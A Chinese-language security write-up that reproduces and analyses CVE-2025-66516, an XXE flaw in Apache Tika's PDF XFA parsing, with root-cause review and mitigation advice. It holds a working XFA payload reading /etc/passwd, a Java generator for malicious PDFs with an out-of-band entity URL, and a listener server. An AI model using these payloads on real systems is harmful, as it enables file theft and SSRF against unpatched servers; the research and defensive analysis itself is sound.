Apache Tika XXE注入漏洞 | CVE-2025-66516 复现&研究

0x0 背景介绍

Tika Pdf Parser ModuleApache软件基金会开发的Java库,专用于解析PDF文件内容。核心功能包括文本提取、元数据解析及嵌入式对象处理,基于Apache Tika框架实现,依赖PDFBox等开源库。
Apache Tikatika-core(1.13-3.2.1)、tika-pdf-module(2.0.0-3.2.1)和tika-parsers(1.13-1.28.5)模块存在严重XXE漏洞(跨平台),攻击者可通过构造PDF内的XFA文件实施XML外部实体注入攻击。

CVECVE-2025-54988描述的是同一漏洞,但在受影响包范围上进行了两处扩展。

0x1 环境搭建

Ubuntu24快速搭建配置

bash 复制代码
#项目创建
mkdir tika-CVE-2025-66516 && cd tika-CVE-2025-66516

#拉取环境&启动(使用 tika-server 可快速验证远程 SSRF;若需本地调试,建议使用 tika-app-3.2.1.jar)
wget https://repo1.maven.org/maven2/org/apache/tika/tika-server-standard/3.2.1/tika-server-standard-3.2.1.jar
java -jar tika-server-standard-3.2.1.jar -p 9998 --host 0.0.0.0

0x2 漏洞复现

1、附一个文件读取PDF,我看已经有扫描的POC就不做了

1、读取passwd功能

bash 复制代码
https://github.com/Kai-One001/cve-/blob/main/CVE-2025-66516-xfa-passwd.pdf

2、可利用XFA内容(XML)

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xdp:xdp [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" xml:lang="en">
<config xmlns="http://www.xfa.org/schema/xci/3.1/">
  <present><pdf><version>1.7</version></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
  <subform name="form1" layout="tb">
    <pageSet>
      <pageArea><contentArea/><medium stock="letter"/></pageArea>
    </pageSet>
    <subform>
      <field name="data">
        <ui><textEdit/></ui>
        <value><text>&xxe;</text></value>
      </field>
    </subform>
  </subform>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
  <xfa:data><form1><data>&xxe;</data></form1></xfa:data>
</xfa:datasets>
</xdp:xdp>
  • 定义外部实体,指向本地文件<!ENTITY xxe SYSTEM "file:///etc/passwd">
  • 在 XFA 模板中引用实体Tika 提取为文本<text>&xxe;</text>

2、伪造SSRF场景

场景说明:搭建带外(OOB)检测服务器,验证 SSRF 是否成功发起外部请求(本地闭环测试)

攻击者
  • 假设攻击者设备,发布8080服务,等待带外数据
py 复制代码
from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()

        # 关键:必须是纯 ASCII 文本,不能有引号/特殊字符

​        self.wfile.write(b"SSRF_SUCCESS")#仅此一行

if __name__ == "__main__":
    server = HTTPServer(('0.0.0.0', 8080), Handler)
    print("Server running on http://0.0.0.0:8080")
    server.serve_forever()
	
  • 启动环境
py 复制代码
python server.py
漏洞利用模拟
  • POC文件
java 复制代码
cat > CreateProbePdf.java << 'EOF'
import org.apache.pdfbox.cos.COSArray;
import org.apache.pdfbox.cos.COSName;
import org.apache.pdfbox.cos.COSString;
import org.apache.pdfbox.pdmodel.PDDocument;
import org.apache.pdfbox.pdmodel.common.PDStream;
import org.apache.pdfbox.pdmodel.interactive.form.PDAcroForm;
import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;

public class CreateProbePdf {
    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            System.err.println("Usage: java CreateProbePdf <output.pdf> \"<ENTITY_PAYLOAD>\"");
            return;
        }

        String outputFile = args[0];
        String entityPayload = args[1]; // e.g., "http://192.168.63.128:8080/"
    
        PDDocument doc = new PDDocument();
        PDAcroForm form = new PDAcroForm(doc);
        doc.getDocumentCatalog().setAcroForm(form);
    
        // 关键:内嵌 DTD + 纯文本实体
        String xfa = "<?xml version=\"1.0\"?>\n" +
                "<!DOCTYPE xfa [\n" +
                "  <!ENTITY test SYSTEM \"" + entityPayload + "\">\n" +
                "]>\n" +
                "<xdp:xdp xmlns:xdp=\"http://ns.adobe.com/xdp/\">\n" +
                "  <template xmlns=\"http://www.xfa.org/schema/xfa-template/2.8/\">\n" +
                "    <subform name=\"form1\">\n" +
                "      <field name=\"leak\">\n" +
                "        <ui><textEdit/></ui>\n" +
                "        <value><text>&test;</text></value>\n" +  // 保留
                "      </field>\n" +
                "    </subform>\n" +
                "  </template>\n" +
                "  <xfa:datasets xmlns:xfa=\"http://www.xfa.org/schema/xfa-data/1.0/\">\n" +
                "    <xfa:data><leak>&test;</leak></xfa:data>\n" +  // 保留
                "  </xfa:datasets>\n" +
                "</xdp:xdp>";
    
        byte[] bytes = xfa.getBytes(StandardCharsets.UTF_8);
        PDStream xfaStream = new PDStream(doc, new ByteArrayInputStream(bytes));
    
        COSArray xfaArray = new COSArray();
        xfaArray.add(new COSString("config.xml")); // 名称占位(符合 PDF 规范)
        xfaArray.add(xfaStream);                  // 真实 XFA 数据流
    
        form.getCOSObject().setItem(COSName.XFA, xfaArray);
        doc.save("evil-xfa.pdf");
        doc.close();
        System.out.println("YES to evil-xfa.pdf generated");
    }

}
EOF
bash 复制代码
#附jar包
https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

https://repo1.maven.org/maven2/org/apache/pdfbox/pdfbox-app/2.0.30/pdfbox-app-2.0.30.jar
bash 复制代码
#编译
javac -cp pdfbox-app-2.0.30.jar CreateProbePdf.java

#运行生成恶意PDF
java -cp ".:pdfbox-app-2.0.30.jar" CreateProbePdf any_name.pdf "http://192.168.63.128:8080/"
  • 搭建一个本地利用窗口,模拟pdftika解析
java 复制代码
//攻击框架 PdfDemo.java
import java.io.InputStream;
import java.nio.file.*;
import org.apache.tika.metadata.Metadata;
import org.apache.tika.parser.AutoDetectParser;
import org.apache.tika.parser.ParseContext;
import org.apache.tika.sax.BodyContentHandler;

public class PdfDemo {
    public static void main(String[] args) throws Exception {
        try (InputStream is = Files.newInputStream(Paths.get("evil-xfa.pdf"))) {
            BodyContentHandler handler = new BodyContentHandler(-1); // -1 防截断
            Metadata metadata = new Metadata();
            ParseContext context = new ParseContext();

            AutoDetectParser parser = new AutoDetectParser();
            parser.parse(is, handler, metadata, context);
    
            System.out.println("=== 获取内容 ===");
            System.out.println(handler.toString());
        }
    }

}
bash 复制代码
javac -cp tika-app-3.2.1.jar PdfDemo.java
java -cp ".:tika-app-3.2.1.jar" PdfDemo


3、复现流量特征 (PCAP)

emmm长话短说,没来得及整,但是上传肯定能监控到的,恶意PDF内容如下:

0x3 漏洞原理分析

漏洞定位

已知:构造的 PDF 中包含 <text>&xxe;</text> tika-app-3.2.1.jar 解析后,&xxe; 被替换成实际内容,漏洞发生在XFA 内容被当作XML 解析的步骤

(1)入口:PDFParser 提取 XFA

找到PDF文件夹,定位文件PDFParser.java文件,快速预览见方法

java 复制代码
//tika-3.2.1\tika-parsers\tika-parsers-standard\tika-parsers-standard-modules\tika-parser-pdf-module\src\main\java\org\apache\tika\parser\pdf\PDFParser.java
    private void handleXFAOnly(PDDocument pdDocument, ContentHandler handler, Metadata metadata,
                               ParseContext context)
            throws SAXException, IOException, TikaException {
        XFAExtractor ex = new XFAExtractor();
        XHTMLContentHandler xhtml = new XHTMLContentHandler(handler, metadata);
        xhtml.startDocument();
        try (InputStream is = 
                UnsynchronizedByteArrayInputStream.builder().setByteArray(pdDocument.getDocumentCatalog().getAcroForm(null).getXFA().getBytes()).get()) {
            ex.extract(is, xhtml, metadata, context);
        } catch (XMLStreamException e) {
            throw new TikaException("XML error in XFA", e);
        }
        xhtml.endDocument();
    }

(2)核心解析:XFAExtractor 使用 StAX

明确将 XFA 字节流交给 XFAExtractor 处理,跟踪下该方法(Ctrl+单击跳转方法)

java 复制代码
//\tika-3.2.1\tika-parsers\tika-parsers-standard\tika-parsers-standard-modules\tika-parser-pdf-module\src\main\java\org\apache\tika\parser\pdf\XFAExtractor.java
XMLStreamReader reader = XMLReaderUtils.getXMLInputFactory(context).createXMLStreamReader(xfaIs);

看核心方法 extract()注意到:XMLStreamReaderJava StAX API的核心接口,StAX 默认会解析并展开外部实体,除非显式禁用

(3)配置集中管理:XMLReaderUtils

所有XML解析器的创建均委托给统一工具类XMLReaderUtils

在开头,声明引入的库

java 复制代码
import org.apache.tika.utils.XMLReaderUtils;

定位文件位置:

bash 复制代码
tika-core\src\main\java\org\apache\tika\utils\XMLReaderUtils.java

该文件包含多种的解析器,进一步证明是统一管理入口:

java 复制代码
//tika-core\src\main\java\org\apache\tika\utils\XMLReaderUtils.java
public static SAXParser getSAXParser() throws TikaException { ... }
public static DocumentBuilder getDocumentBuilder() throws TikaException { ... }
public static XMLInputFactory getXMLInputFactory() { ... }
public static Transformer getTransformer() throws TikaException { ... }

能看到有多重防御XXE方案

java 复制代码
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
trySetSAXFeature(factory, "http://xml.org/sax/features/external-general-entities", false);
trySetSAXFeature(factory, "http://xml.org/sax/features/external-parameter-entities", false);
trySetSAXFeature(factory, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
trySetSAXFeature(factory, "http://apache.org/xml/features/nonvalidating/load-dtd-grammar", false);

不过在XMLInputFactory getXMLInputFactory()中,能构造的XFA数据包利用XXE

java 复制代码
public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // 以为这能防 XXE(实际返回空字符串)
    trySetStaxSecurityManager(factory);
    return factory;
}

(4)整体工作流:

bash 复制代码
PDFParser 提取 XFA 字节流 → 交给 XFAExtractor
XFAExtractor 调用 XMLReaderUtils.getXMLInputFactory() → 获取不安全的 factory
factory 创建 XMLStreamReader → 解析恶意 XFA
StAX 遇到 <!DOCTYPE ...> → 加载外部实体
遇到 &xxe; → 展开为文件内容/发起 HTTP 请求
内容被写入 XHTMLContentHandler → 最终输出到你的 handler.toString()

(5)结论:

只要DTD没被禁用,解析器就会先解析DOCTYPE声明,这时候即使后面用resolver返回空,攻击者仍可能利用DTD内部的结构(比如参数实体)发起攻击。所以根本解法是像 SAX 那样,显式设置SUPPORT_DTD=false

0x4 修复建议

修复方案

  1. 官方已发布漏洞通告,建议受影响的用户依据官方通告进行修复。apache
    tika

  2. 临时防护措施:
    配置XML解析器 :如SAXParser、DOMParser禁用外部实体加载功能,或使用安全的XML解析库
    限制文件上传来源 :建议仅允许可信来源上传,并对文件内容进行监控分析
    部署WAF规则 :部署Web应用防火墙,拦截恶意XML实体声明

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

相关推荐
汉风设计装饰19 小时前
智慧办公弱电系统设计:门禁、监控与 IoT 传感器的集成方案
经验分享
m0_7196408719 小时前
支持开源二次开发的VR遥操机器人2026年选型推荐
经验分享
陈卫军老师20 小时前
陈卫军:把口味写在一张纸上,店才稳得住
经验分享·笔记·流量运营
从零开始的嵌入式之旅21 小时前
day47
arm开发·经验分享·笔记·嵌入式硬件
恒锐丰科技林技术员21 小时前
EG1164 高压大电流升压同步整流芯片解析
经验分享·嵌入式硬件·硬件工程
欣悦财务1 天前
怎么判断代理记账收费值不值,把费用折成服务密度再比
经验分享
灰山君1 天前
企业三维可视化怎么选?山海鲸可视化与老子云3D优势对比
大数据·经验分享·数字孪生·可视化·数据可视化·实时大数据
虹科数字化与AR2 天前
FME与Python脚本做工程数据转换,如何选择?
经验分享
啄缘之间2 天前
1.【SVA】什么是SVA?
经验分享·学习·测试用例·verilog·sva
天竺鼠不该去劝架2 天前
企业级智能体怎么选?8 大评估维度,Ki‑AgentS/Copilot Studio/ServiceNow/Coze/Dify 横评
经验分享